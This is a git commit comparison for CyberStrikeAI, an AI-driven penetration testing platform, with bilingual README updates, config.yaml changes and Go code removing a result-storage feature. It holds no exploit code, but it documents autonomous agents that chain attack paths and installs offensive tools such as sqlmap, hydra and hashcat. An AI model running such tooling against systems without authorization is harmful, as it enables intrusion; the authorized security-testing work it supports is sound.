Compare commits

...

116 Commits

Author SHA1 Message Date
公明 51f1cfde2f Add files via upload 2026-06-22 23:12:53 +08:00
公明 b2c8913014 Add files via upload 2026-06-22 17:53:52 +08:00
公明 ae98288b62 Add files via upload 2026-06-22 15:53:31 +08:00
公明 9955e856a0 Add files via upload 2026-06-22 15:48:44 +08:00
公明 018544e5f9 Add files via upload 2026-06-22 15:43:39 +08:00
公明 c1c86e4632 Add files via upload 2026-06-22 13:47:53 +08:00
公明 08d77bc12b Add files via upload 2026-06-21 01:56:48 +08:00
公明 ce73a7b3e4 Add files via upload 2026-06-21 01:55:25 +08:00
公明 f78f424aab Add files via upload 2026-06-21 01:53:55 +08:00
公明 e19d8e39bd Add files via upload 2026-06-21 01:52:14 +08:00
公明 ecf594a25b Update config.yaml 2026-06-20 20:37:48 +08:00
公明 d5759f6d83 Add files via upload 2026-06-20 19:57:07 +08:00
公明 81b3f64b15 Add files via upload 2026-06-20 19:55:32 +08:00
公明 0e0f1352f0 Add files via upload 2026-06-20 19:52:33 +08:00
公明 ffba311afd Add files via upload 2026-06-20 19:47:47 +08:00
公明 d9ed36cfb1 Add files via upload 2026-06-20 19:45:29 +08:00
公明 b7f80b78ee Add files via upload 2026-06-20 19:39:39 +08:00
公明 8f8e5cfff5 Increase rune limits in config.yaml 2026-06-20 19:37:50 +08:00
公明 120f860640 Add files via upload 2026-06-20 19:36:35 +08:00
公明 90cd119a83 Add files via upload 2026-06-20 19:35:06 +08:00
公明 56d597e0c5 Add files via upload 2026-06-20 19:31:56 +08:00
公明 11ab5cde8f Add files via upload 2026-06-20 19:28:34 +08:00
公明 46a7d338a4 Add files via upload 2026-06-20 17:25:44 +08:00
公明 46f68cc1d4 Update config.yaml 2026-06-20 16:19:57 +08:00
公明 7003cdb2e3 Add files via upload 2026-06-20 15:34:58 +08:00
公明 4e5e6208bd Add files via upload 2026-06-20 15:29:36 +08:00
公明 6a7e78a846 Add files via upload 2026-06-20 15:28:10 +08:00
公明 88c6fbfb75 Add files via upload 2026-06-20 15:26:49 +08:00
公明 1cd6d0fa90 Add files via upload 2026-06-20 15:24:40 +08:00
公明 24390db100 Add files via upload 2026-06-19 01:41:32 +08:00
公明 c000fe5195 Add files via upload 2026-06-19 01:39:53 +08:00
公明 0b4a11d01a Add files via upload 2026-06-19 01:38:30 +08:00
公明 d433e44a7d Add files via upload 2026-06-19 01:36:52 +08:00
公明 7de51fe0ea Update config.yaml 2026-06-19 00:05:50 +08:00
公明 a354cf97e5 Add files via upload 2026-06-19 00:04:38 +08:00
公明 c180f07c7e Add files via upload 2026-06-19 00:02:53 +08:00
公明 15730d3ef4 Add files via upload 2026-06-19 00:01:20 +08:00
公明 b7fa18b6d4 Add files via upload 2026-06-18 23:44:04 +08:00
公明 8d622f63ff Update version to v1.6.40 in config.yaml 2026-06-18 23:24:14 +08:00
公明 20b05146fb Add files via upload 2026-06-18 23:23:48 +08:00
公明 d8768eae76 Add files via upload 2026-06-18 23:21:58 +08:00
公明 9232cee38d Add files via upload 2026-06-18 23:20:39 +08:00
公明 6c975e63d2 Add files via upload 2026-06-18 23:19:09 +08:00
公明 e175523b82 Add files via upload 2026-06-18 23:17:30 +08:00
公明 ae23427d9e Add files via upload 2026-06-18 21:53:20 +08:00
公明 93a2504ce3 Add files via upload 2026-06-18 21:52:36 +08:00
公明 09b0479fb3 Add files via upload 2026-06-18 21:50:44 +08:00
公明 2bdc9d4fe0 Add files via upload 2026-06-18 21:48:33 +08:00
公明 01b3d8056c Add files via upload 2026-06-18 21:09:00 +08:00
公明 ed479d5e4d Update config.yaml 2026-06-18 12:53:56 +08:00
公明 a49f595231 Update config.yaml 2026-06-18 12:49:38 +08:00
公明 82cf014a5e Update config.yaml 2026-06-18 12:48:07 +08:00
公明 508de5fad0 Add files via upload 2026-06-18 12:47:24 +08:00
公明 6712344411 Add files via upload 2026-06-18 12:46:46 +08:00
公明 7eadccbff6 Add files via upload 2026-06-18 12:44:42 +08:00
公明 01b361e4a7 Add files via upload 2026-06-18 12:42:56 +08:00
公明 f6ce31c961 Delete internal/图片画质提升.jpeg 2026-06-18 12:41:18 +08:00
公明 d5a0f93c6c Add files via upload 2026-06-18 12:40:54 +08:00
公明 56faefaaf9 Add files via upload 2026-06-18 12:39:09 +08:00
公明 16e9c5874a Delete internal/图片画质提升.jpeg 2026-06-18 12:38:53 +08:00
公明 41b5cdde6b Add files via upload 2026-06-18 12:38:36 +08:00
公明 cf1f8515d9 Delete internal directory 2026-06-18 12:37:39 +08:00
公明 5e2b30c029 Add files via upload 2026-06-17 14:00:23 +08:00
公明 8c7c22369e Add files via upload 2026-06-17 12:30:20 +08:00
公明 9b1aba692b Add files via upload 2026-06-17 12:08:23 +08:00
公明 db730b48c1 Add files via upload 2026-06-17 12:06:23 +08:00
公明 dfb7dd7390 Add files via upload 2026-06-17 12:04:17 +08:00
公明 9f6eb33047 Add files via upload 2026-06-17 12:02:24 +08:00
公明 616d87f4cc Add files via upload 2026-06-17 10:50:19 +08:00
公明 8d999792b8 Update config.yaml 2026-06-16 16:22:14 +08:00
公明 afae8970d1 Add files via upload 2026-06-16 16:21:24 +08:00
公明 4d7330c5c3 Add files via upload 2026-06-16 15:48:11 +08:00
公明 8884bfb0b4 Add files via upload 2026-06-16 13:07:04 +08:00
公明 fb351c80b6 Add files via upload 2026-06-15 22:06:46 +08:00
公明 664834e338 Add files via upload 2026-06-15 22:03:29 +08:00
公明 95bf62db88 Add files via upload 2026-06-15 21:56:42 +08:00
公明 656242614d Add files via upload 2026-06-15 21:41:02 +08:00
公明 a9d6d8c00e Add files via upload 2026-06-15 21:30:39 +08:00
公明 0d6a43c0a8 Add files via upload 2026-06-15 20:43:51 +08:00
公明 702f286eb1 Add files via upload 2026-06-15 20:24:17 +08:00
公明 f4906543a8 Update config.yaml 2026-06-15 11:55:49 +08:00
公明 b073421637 Add files via upload 2026-06-15 11:55:04 +08:00
公明 08436c27aa Add files via upload 2026-06-15 11:49:53 +08:00
公明 25ce0b221f Add files via upload 2026-06-14 21:07:51 +08:00
公明 87e629f270 Add files via upload 2026-06-14 20:19:52 +08:00
公明 04f8d73b0e Add files via upload 2026-06-14 19:58:04 +08:00
公明 33e4f023b5 Add files via upload 2026-06-14 19:48:07 +08:00
公明 fc2e822448 Add files via upload 2026-06-14 19:46:13 +08:00
公明 7487c45799 Add files via upload 2026-06-14 19:43:59 +08:00
公明 6c4b3bf131 Add files via upload 2026-06-14 19:42:14 +08:00
公明 54cea1b172 Add files via upload 2026-06-13 19:56:09 +08:00
公明 b8775997e4 Add files via upload 2026-06-13 12:32:30 +08:00
公明 4223ec47f9 Add files via upload 2026-06-13 12:27:21 +08:00
公明 9887589d99 Add files via upload 2026-06-13 12:15:55 +08:00
公明 b7c01f41c7 Add files via upload 2026-06-13 12:08:04 +08:00
公明 1d3b4c44e1 Update config.yaml 2026-06-12 22:11:49 +08:00
公明 cbd64173b8 Add files via upload 2026-06-12 22:10:10 +08:00
公明 af71c6aa24 Add files via upload 2026-06-12 22:08:15 +08:00
公明 97a73a1cb6 Add files via upload 2026-06-12 22:06:41 +08:00
公明 83e1c707ca Add files via upload 2026-06-12 22:04:57 +08:00
公明 96ccbff77c Add files via upload 2026-06-12 21:28:51 +08:00
公明 c4bd8b93f6 Delete install-tools.sh 2026-06-12 21:26:22 +08:00
公明 d005268d28 Add files via upload 2026-06-12 19:43:38 +08:00
公明 7f4e8d2ad2 Add files via upload 2026-06-12 19:41:47 +08:00
公明 f3be355820 Add files via upload 2026-06-12 19:39:01 +08:00
公明 bf0ce33e3f Add files via upload 2026-06-12 19:36:45 +08:00
公明 4661862a1a Add files via upload 2026-06-11 18:03:09 +08:00
公明 f319a0f243 Add files via upload 2026-06-11 18:01:38 +08:00
公明 15c4802319 Add files via upload 2026-06-11 17:18:58 +08:00
公明 6ffde48b0c Add files via upload 2026-06-11 16:54:36 +08:00
公明 c5e2f0d95d Add files via upload 2026-06-11 16:02:48 +08:00
公明 28a826d5b7 Add files via upload 2026-06-11 15:56:25 +08:00
公明 6365de7018 Add files via upload 2026-06-11 11:50:31 +08:00
公明 2e4bf7197b Add files via upload 2026-06-11 11:48:17 +08:00
公明 ed4ba08163 Add files via upload 2026-06-11 11:46:23 +08:00
公明 8b5e55a673 Add files via upload 2026-06-11 11:44:20 +08:00
142 changed files with 22443 additions and 4647 deletions
+20 -9
View File
@@ -112,7 +112,7 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
- 🔒 Password-protected web UI, audit logs, and SQLite persistence - 🔒 Password-protected web UI, audit logs, and SQLite persistence
- 📚 Knowledge base (RAG) with embedding-based vector retrieval (cosine similarity), optional **Eino Compose** indexing pipeline, and configurable post-retrieval budgets / reranking hooks - 📚 Knowledge base (RAG) with embedding-based vector retrieval (cosine similarity), optional **Eino Compose** indexing pipeline, and configurable post-retrieval budgets / reranking hooks
- 📁 Conversation grouping with pinning, rename, and batch management - 📁 Conversation grouping with pinning, rename, and batch management
- 📂 **Project management**: group conversations and vulnerabilities by project; **shared facts** (project blackboard) persist cross-session context (targets, env, auth notes) with auto-injection for agents and MCP tools (`upsert_project_fact`, `get_project_fact`, …) - 📂 **Project management**: shared facts (blackboard) across sessions, `upsert_project_fact` + `links` to chain paths; attack-chain and project fact graph views
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
@@ -189,15 +189,21 @@ The `run.sh` script will automatically:
``` ```
- Or edit `config.yaml` directly before launching - Or edit `config.yaml` directly before launching
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`) 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
3. **Install security tools (optional)** - Install all tools declared under `tools/`: 3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
**macOS (Homebrew):**
```bash ```bash
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu) brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
./install-tools.sh --check # check only, no install
./install-tools.sh --list # show per-tool status
./install-tools.sh --only nmap,gau # install selected tools only
``` ```
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
AI automatically falls back to alternatives when a tool is missing. **Linux (Kali / Debian / Ubuntu):**
```bash
sudo apt update
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
```
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
**Alternative Launch Methods:** **Alternative Launch Methods:**
```bash ```bash
@@ -306,7 +312,7 @@ Requirements / tips:
### Tool Orchestration & Extensions ### Tool Orchestration & Extensions
- **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata. - **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
- **Directory hot-reload** pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments. - **Directory hot-reload** pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
- **Large-result pagination** outputs beyond 200 KB are stored as artifacts retrievable through the `query_execution_result` tool with paging, filters, and regex search. - **Large tool outputs** outputs beyond `reduction_max_length_for_trunc` are summarized via Eino reduction with full content persisted under `tmp/reduction/`; use `read_file` on the path in `<persisted-output>`.
- **Result compression** multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean. - **Result compression** multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
**Creating a custom tool (typical flow)** **Creating a custom tool (typical flow)**
@@ -545,6 +551,11 @@ multi_agent:
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill } # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
# eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ... # eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
project:
enabled: true # Enable project blackboard & fact MCP tools
fact_index_max_runes: 65000
fact_summary_max_runes: 24000
default_inject_deprecated: false
``` ```
### Tool Definition Example (`tools/nmap.yaml`) ### Tool Definition Example (`tools/nmap.yaml`)
+20 -9
View File
@@ -111,7 +111,7 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
- 🔒 Web 登录保护、审计日志、SQLite 持久化 - 🔒 Web 登录保护、审计日志、SQLite 持久化
- 📚 知识库(RAG):向量嵌入与余弦相似度检索(与 Eino `retriever.Retriever` 语义一致),可选 **Eino Compose** 索引流水线及检索后处理(预算、重排等配置项) - 📚 知识库(RAG):向量嵌入与余弦相似度检索(与 Eino `retriever.Retriever` 语义一致),可选 **Eino Compose** 索引流水线及检索后处理(预算、重排等配置项)
- 📁 对话分组管理:支持分组创建、置顶、重命名、删除等操作 - 📁 对话分组管理:支持分组创建、置顶、重命名、删除等操作
- 📂 **项目管理**按项目归类对话与漏洞;**共享事实**(项目黑板)在多会话沉淀目标/环境/认证等认知,自动注入 Agent 上下文,支持 MCP 工具读写(`upsert_project_fact``get_project_fact` 等) - 📂 **项目管理**共享事实(黑板)会话沉淀认知,`upsert_project_fact` + `links` 串联攻击路径;聊天攻击链与项目事实图可视化
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板 - 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪 - 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制 - 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
@@ -188,15 +188,21 @@ chmod +x run.sh && ./run.sh
``` ```
- 或启动前直接编辑 `config.yaml` 文件 - 或启动前直接编辑 `config.yaml` 文件
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password` 2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具 3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例
**macOSHomebrew):**
```bash ```bash
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐) brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
./install-tools.sh --check # 仅检查, 不安装
./install-tools.sh --list # 列出各工具安装状态
./install-tools.sh --only nmap,gau # 只装指定工具
``` ```
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
未安装的工具在执行时会自动跳过或改用替代方案。 **LinuxKali / Debian / Ubuntu):**
```bash
sudo apt update
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
```
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
**其他启动方式:** **其他启动方式:**
```bash ```bash
@@ -304,7 +310,7 @@ go build -o cyberstrike-ai cmd/server/main.go
### 工具编排与扩展 ### 工具编排与扩展
- `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。 - `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。
- `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。 - `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。
- **大结果分页**:超过 200KB 的输出会保存为附件,可通过 `query_execution_result` 工具分页、过滤、正则检索 - **大工具输出**:超过 `reduction_max_length_for_trunc` 时由 Eino reduction 摘要,完整内容落盘至 `tmp/reduction/`;按 `<persisted-output>` 中的路径用 `read_file` 读取
- **结果压缩/摘要**:多兆字节日志可先压缩或生成摘要再写入 SQLite,减小档案体积。 - **结果压缩/摘要**:多兆字节日志可先压缩或生成摘要再写入 SQLite,减小档案体积。
**自定义工具的一般步骤** **自定义工具的一般步骤**
@@ -543,6 +549,11 @@ multi_agent:
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选 # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill } # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
# eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等 # eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
project:
enabled: true # 启用项目黑板与事实 MCP 工具
fact_index_max_runes: 65000
fact_summary_max_runes: 24000
default_inject_deprecated: false
``` ```
### 工具模版示例(`tools/nmap.yaml` ### 工具模版示例(`tools/nmap.yaml`
-19
View File
@@ -5,7 +5,6 @@ import (
"cyberstrike-ai/internal/logger" "cyberstrike-ai/internal/logger"
"cyberstrike-ai/internal/mcp" "cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/security" "cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/storage"
"flag" "flag"
"fmt" "fmt"
"os" "os"
@@ -33,23 +32,6 @@ func main() {
// 创建安全工具执行器 // 创建安全工具执行器
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger) executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
// 初始化结果存储(与 internal/app/app.go 同样的逻辑)。
// stdio 模式下原本不初始化,导致 'exec' 等查询型工具报"结果存储未初始化"。
resultStorageDir := "tmp"
if cfg.Agent.ResultStorageDir != "" {
resultStorageDir = cfg.Agent.ResultStorageDir
}
if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
os.Exit(1)
}
resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
if err != nil {
fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
os.Exit(1)
}
executor.SetResultStorage(resultStorage)
// 注册工具 // 注册工具
executor.RegisterTools(mcpServer) executor.RegisterTools(mcpServer)
@@ -61,4 +43,3 @@ func main() {
os.Exit(1) os.Exit(1)
} }
} }
+8 -8
View File
@@ -10,7 +10,7 @@
# ============================================ # ============================================
# 前端显示的版本号(可选,不填则显示默认版本) # 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.6.35" version: "v1.6.42"
# 服务器配置 # 服务器配置
server: server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口 host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -58,7 +58,7 @@ openai:
api_key: sk-xxxxxxx # API 密钥(必填) api_key: sk-xxxxxxx # API 密钥(必填)
model: qwen3-max # 模型名称(必填) model: qwen3-max # 模型名称(必填)
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置) max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort 等;provider 为 claude 时合并为 Anthropic 顶层 thinkingextended thinking),mode: off 关闭 # Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effortClaude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
reasoning: reasoning:
mode: on # auto | on | offoff 时不附加任何推理扩展字段 mode: on # auto | on | offoff 时不附加任何推理扩展字段
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定 effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
@@ -92,8 +92,6 @@ fofa:
# 达到最大迭代次数时,AI 会自动总结测试结果 # 达到最大迭代次数时,AI 会自动总结测试结果
agent: agent:
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖) max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起) tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示 # system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
@@ -144,10 +142,10 @@ multi_agent:
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断) plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题 plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
checkpoint_dir: data/eino-checkpoints # P0:进程崩溃/OOM 后同会话自动 ADK Resume;正常结束会删 .ckpt;与「中断并继续」(last_react_*) 是两套机制 checkpoint_dir: data/eino-checkpoints # P0:进程崩溃/OOM 后同会话自动 ADK Resume;正常结束会删 .ckpt;与「中断并继续」(last_react_*) 是两套机制
run_retry_max_attempts: 0 # 429/5xx/网络抖动时整轮 Run 指数退避续跑;0=默认 10(与 deep_model_retry 互补,建议保持默认) run_retry_max_attempts: 0 # 429/5xx/网络抖动时可退避重试次数(run loop + summarization 共用 isEinoTransientRunError);0=默认 10
run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30 run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30
deep_output_key: final_answer # P0Eino session 写入最终助手结论(框架内部;Deep/Supervisor 主/eino_single deep_output_key: final_answer # P0Eino session 写入最终助手结论(框架内部;Deep/Supervisor 主/eino_single
deep_model_retry_max_retries: 3 # P0:单次 ChatModel API 失败时框架自动重试(超时/502 等);子代理模型不受此项影响 deep_model_retry_max_retries: 0 # 已废弃,请用 run_retry_max_attempts;保留字段仅为兼容旧配置
task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑 task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑
# Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client # Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client
eino_callbacks: eino_callbacks:
@@ -310,7 +308,9 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
project: project:
enabled: true enabled: true
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID # default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
fact_index_max_runes: 6500 fact_index_max_runes: 65000
fact_summary_max_runes: 2400 # 事实关系速览段预算(从索引总预算中预留)
fact_index_path_max_runes: 10000
fact_summary_max_runes: 24000
default_inject_deprecated: false default_inject_deprecated: false
Binary file not shown.

Before

Width:  |  Height:  |  Size: 726 KiB

After

Width:  |  Height:  |  Size: 941 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 179 KiB

-1064
View File
File diff suppressed because it is too large Load Diff
+17 -135
View File
@@ -18,7 +18,6 @@ import (
"cyberstrike-ai/internal/mcp" "cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin" "cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai" "cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/storage"
"go.uber.org/zap" "go.uber.org/zap"
) )
@@ -32,8 +31,6 @@ type Agent struct {
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器 externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
logger *zap.Logger logger *zap.Logger
maxIterations int maxIterations int
resultStorage ResultStorage // 结果存储
largeResultThreshold int // 大结果阈值(字节)
mu sync.RWMutex // 添加互斥锁以支持并发更新 mu sync.RWMutex // 添加互斥锁以支持并发更新
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具) toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
currentConversationID string // 当前对话ID(用于自动传递给工具) currentConversationID string // 当前对话ID(用于自动传递给工具)
@@ -41,18 +38,6 @@ type Agent struct {
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
} }
// ResultStorage 结果存储接口(直接使用 storage 包的类型)
type ResultStorage interface {
SaveResult(executionID string, toolName string, result string) error
GetResult(executionID string) (string, error)
GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
GetResultPath(executionID string) string
DeleteResult(executionID string) error
}
type agentConversationIDKey struct{} type agentConversationIDKey struct{}
func withAgentConversationID(ctx context.Context, id string) context.Context { func withAgentConversationID(ctx context.Context, id string) context.Context {
@@ -83,26 +68,6 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
maxIterations = 30 maxIterations = 30
} }
// 设置大结果阈值,默认50KB
largeResultThreshold := 50 * 1024
if agentCfg != nil && agentCfg.LargeResultThreshold > 0 {
largeResultThreshold = agentCfg.LargeResultThreshold
}
// 设置结果存储目录,默认tmp
resultStorageDir := "tmp"
if agentCfg != nil && agentCfg.ResultStorageDir != "" {
resultStorageDir = agentCfg.ResultStorageDir
}
// 初始化结果存储
var resultStorage ResultStorage
if resultStorageDir != "" {
// 导入storage包(避免循环依赖,使用接口)
// 这里需要在实际使用时初始化
// 暂时设为nil,在需要时初始化
}
// 配置HTTP Transport,优化连接管理和超时设置 // 配置HTTP Transport,优化连接管理和超时设置
transport := &http.Transport{ transport := &http.Transport{
DialContext: (&net.Dialer{ DialContext: (&net.Dialer{
@@ -133,20 +98,11 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
externalMCPMgr: externalMCPMgr, externalMCPMgr: externalMCPMgr,
logger: logger, logger: logger,
maxIterations: maxIterations, maxIterations: maxIterations,
resultStorage: resultStorage,
largeResultThreshold: largeResultThreshold,
toolNameMapping: make(map[string]string), // 初始化工具名称映射 toolNameMapping: make(map[string]string), // 初始化工具名称映射
toolDescriptionMode: "short", toolDescriptionMode: "short",
} }
} }
// SetResultStorage 设置结果存储(用于避免循环依赖)
func (a *Agent) SetResultStorage(storage ResultStorage) {
a.mu.Lock()
defer a.mu.Unlock()
a.resultStorage = storage
}
// SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录(一般为 config.yaml 所在目录)。 // SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录(一般为 config.yaml 所在目录)。
func (a *Agent) SetPromptBaseDir(dir string) { func (a *Agent) SetPromptBaseDir(dir string) {
a.mu.Lock() a.mu.Lock()
@@ -663,46 +619,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
} }
resultStr := resultText.String() resultStr := resultText.String()
resultSize := len(resultStr)
// 检测大结果并保存
a.mu.RLock()
threshold := a.largeResultThreshold
storage := a.resultStorage
a.mu.RUnlock()
if resultSize > threshold && storage != nil {
// 异步保存大结果
go func() {
if err := storage.SaveResult(executionID, toolName, resultStr); err != nil {
a.logger.Warn("保存大结果失败",
zap.String("executionID", executionID),
zap.String("toolName", toolName),
zap.Error(err),
)
} else {
a.logger.Info("大结果已保存",
zap.String("executionID", executionID),
zap.String("toolName", toolName),
zap.Int("size", resultSize),
)
}
}()
// 返回最小化通知
lines := strings.Split(resultStr, "\n")
filePath := ""
if storage != nil {
filePath = storage.GetResultPath(executionID)
}
notification := a.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
return &ToolExecutionResult{
Result: notification,
ExecutionID: executionID,
IsError: result != nil && result.IsError,
}, nil
}
return &ToolExecutionResult{ return &ToolExecutionResult{
Result: resultStr, Result: resultStr,
@@ -711,57 +627,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
}, nil }, nil
} }
// formatMinimalNotification 格式化最小化通知
